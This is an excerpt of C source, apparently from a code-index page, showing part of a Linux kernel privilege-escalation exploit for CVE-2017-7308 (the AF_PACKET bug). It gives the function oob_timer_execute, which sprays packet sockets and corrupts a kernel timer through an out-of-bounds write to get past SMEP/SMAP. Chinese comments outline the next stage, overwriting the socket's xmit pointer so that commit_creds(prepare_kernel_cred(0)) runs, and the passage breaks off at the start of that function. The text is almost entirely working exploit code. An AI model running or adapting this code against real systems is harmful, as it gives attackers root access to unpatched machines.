Function oob_timer_execute

CVE-2017-7308/exploit.c:203–223

(1) 绕过SMEP/SMAP: 覆盖 packet_sock->rx_ring->prb_bdqc->retire_blk_timer

}
// (1) 绕过SMEP/SMAP: 覆盖 packet_sock->rx_ring->prb_bdqc->retire_blk_timer
void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(3);
}
// (2) 提权: 覆盖packet_sock的xmit函数指针，它会在发送数据时被调用，在关闭SMEP后返回到用户空间执行commit_creds(prepare_kernel_cred(0))实现提权
void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);